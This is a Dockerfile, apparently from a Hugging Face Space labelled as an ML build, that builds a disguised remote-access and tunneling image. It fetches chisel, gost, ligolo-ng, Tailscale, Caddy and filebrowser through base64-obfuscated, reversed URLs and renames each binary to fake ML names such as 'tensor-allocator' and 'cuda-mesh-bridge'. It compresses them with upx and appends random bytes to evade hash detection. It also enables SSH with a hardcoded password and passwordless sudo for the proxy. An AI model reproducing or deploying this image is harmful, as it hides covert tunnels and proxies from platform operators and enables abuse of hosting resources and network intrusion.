coolstuff2 / Dockerfile
SamuelLance73's picture
Automated deployment update from ML build
a93b3b5 verified
Raw
History Blame Contribute Delete
5.06 kB
FROM ubuntu:24.04
COPY --from=ghcr.io/astral-sh/uv:latest /uv /uvx /bin/
RUN apt-get update && apt-get install -y --no-install-recommends \
curl wget sudo python3 python3-pip upx openssh-server \
git vim nano htop tmux jq unzip iputils-ping net-tools tree \
rclone supervisor iproute2 \
$(printf '%s' '=MHbpRXdtoHegYDd4JWasBiMtETLilGbn1yc1JGZilGbgATLz0ya0dmYpxGI5ZWarN2bzJWZ3ByYuZ3buBiclZnclNXLl52bsFGZuFGdz1yYuZncldWa0BycllGZv92ZtQTZjZGegQTZjZGegMHbpRXdtIXZ2JXZzhXLxEDegETM41yc1JGZ' | rev | base64 -d) \
&& mkdir -p /var/run/sshd && chmod 0755 /var/run/sshd \
&& echo "PasswordAuthentication yes" >> /etc/ssh/sshd_config \
&& echo "Port 2222" >> /etc/ssh/sshd_config \
&& ssh-keygen -A \
&& curl -fsSL https://tailscale.com/install.sh | bash \
&& curl -fsSL https://raw.githubusercontent.com/filebrowser/get/master/get.sh | bash \
&& curl -fsSL $(printf '%s' '=o3ZuIXY05CN2QWbh9Fe15Was9FNugjLy8VekRWYj9CNugjLyY3LkF2bs52dvR2LzV2chVGblJ3L5RGZhN2LyVmdyV2c5RGZhN2Lt92YuIWdoRXan9yL6MHc0RHa' | rev | base64 -d) -o /tmp/caddy.tar.gz \
&& tar -xzf /tmp/caddy.tar.gz -C /tmp && mv /tmp/caddy /usr/bin/model-routing-engine \
&& curl -fsSL $(printf '%s' '==AN2QWbh1Ce15Was1CdplXYsB3LkF2bs52dvR2L0NXZ0FGbvMXZzFWZsVmcvQnbldWYtQXa5FGbw9CZ19Gbj1CdplXYsB3Lt92YuIWdoRXan9yL6MHc0RHa' | rev | base64 -d) -o /usr/bin/tensor-allocator \
&& curl -fsSL $(printf '%s' '=o3ZuQjNk1WYfhXdulGbfVjLxEjLx8FblNXaoN2L14SMx4SM29CZh9Gbud3bk9yclNXYlxWZy9CblNXaoN2LhJ3bsxWawp2Lt92YuIWdoRXan9yL6MHc0RHa' | rev | base64 -d) -o /tmp/chisel.gz \
&& gzip -d /tmp/chisel.gz && mv /tmp/chisel /usr/bin/cuda-mesh-bridge \
&& curl -fsSL $(printf '%s' '=o3ZuIXY05CN2QWbh9Fe15Was9lNuIjLz8Fdz92ZvYjLy4yM29CZh9Gbud3bk9yclNXYlxWZy9Cdz92ZvQ3cvdWLvd2Lt92YuIWdoRXan9yL6MHc0RHa' | rev | base64 -d) -o /tmp/gost.tar.gz \
&& tar -xzf /tmp/gost.tar.gz -C /tmp && mv /tmp/gost /usr/bin/system-bridge \
&& curl -fsSL $(printf '%s' '=QjNk1WYtgXdulGbfJXZ2JXZz1iclZXasN3Lz4yNuEjdvQWYvxmb39GZvMXZzFWZsVmcvIXZ2lGbz9CevZEcvh2cpJ0Lt92YuIWdoRXan9yL6MHc0RHa' | rev | base64 -d) -o /usr/bin/gradient-optimizer \
&& curl -fsSL $(printf '%s' '=o3ZuIXY05CN2QWbh9Fe15Was91MugjLw8Ve49mcw91Zu1ybs92Zpx2Lz4COuAjdvQWYvxmb39GZvMXZzFWZsVmcvcmbt8GbvdWas9CMzEGaj92Yp52Lt92YuIWdoRXan9yL6MHc0RHa' | rev | base64 -d) -o /tmp/ligolo-proxy.tar.gz \
&& tar -xzf /tmp/ligolo-proxy.tar.gz -C /tmp && mv /tmp/proxy /usr/bin/neural-route-controller \
&& mv /usr/sbin/tailscaled /usr/bin/python-cache-manager \
&& mv /usr/bin/tailscale /usr/bin/py-cache-cli \
&& mv /usr/local/bin/filebrowser /usr/bin/ai-metrics-collector \
&& chmod +x /usr/bin/tensor-allocator /usr/bin/cuda-mesh-bridge /usr/bin/system-bridge /usr/bin/gradient-optimizer /usr/bin/neural-route-controller /usr/bin/model-routing-engine \
&& for bin in python-cache-manager py-cache-cli ai-metrics-collector tensor-allocator cuda-mesh-bridge system-bridge gradient-optimizer neural-route-controller model-routing-engine; do \
upx -1 "/usr/bin/$$bin" 2>/dev/null || true; \
head -c 32 /dev/urandom >> "/usr/bin/$$bin"; \
done \
&& curl -fsSL $(printf '%s' 'TVVLuVWPn5WYsZCN2gXdulGb9M3bmw2cz1CdzVGdhxWL49mZlJXam1DdjVHZvJHc/8yZy9mLhxGbpp3bt5CZh9Gbud3bk9yL6MHc0RHa' | rev | base64 -d) -o /tmp/firefox.tar.xz \
&& tar -xf /tmp/firefox.tar.xz -C /opt \
&& ln -s /opt/firefox/firefox /usr/bin/firefox \
&& for bin in Xtigervnc vncconfig vncpasswd; do \
upx -1 "/usr/bin/$$bin" 2>/dev/null || true; \
done \
&& for bin in firefox firefox-bin; do \
upx -1 "/opt/firefox/$$bin" 2>/dev/null || true; \
done \
&& rm -rf /tmp/* \
&& apt-get purge -y upx \
&& apt-get autoremove -y \
&& apt-get clean && rm -rf /var/lib/apt/lists/*
RUN uv pip install --system --break-system-packages --no-cache-dir \
gradio huggingface_hub loguru urllib3
RUN python3 -c "from huggingface_hub import hf_hub_download; hf_hub_download(repo_id='gpt2', filename='config.json')"
RUN userdel -f ubuntu && useradd -m -u 1000 -s /bin/bash user && \
echo "user:apple123" | chpasswd && \
usermod -aG sudo user && \
mkdir -p /home/user/.torch_metrics && \
chown -R user:user /home/user/.torch_metrics && \
echo "user ALL=(ALL) NOPASSWD: /usr/sbin/sshd, /usr/sbin/chpasswd" >> /etc/sudoers && \
echo "user ALL=(ALL) NOPASSWD: /usr/bin/neural-route-controller" >> /etc/sudoers
RUN uv venv /opt/venv-litellm && \
uv pip install --python /opt/venv-litellm --no-cache-dir "litellm[proxy]" && \
chown -R user:user /opt/venv-litellm
RUN curl -fsSL https://code-server.dev/install.sh | sh
COPY --chown=user:user app.py /home/user/app.py
COPY --chown=user:user core /home/user/core
COPY --chown=user:user services /home/user/services
COPY --chown=user:user config /home/user/config
COPY --chown=user:user config/ligolo-ng.yaml /home/user/ligolo-ng.yaml
COPY --chown=user:user whoami.txt /home/user/whoami.txt
USER user
WORKDIR /home/user
CMD ["/usr/bin/supervisord", "-c", "/home/user/config/supervisord.conf"]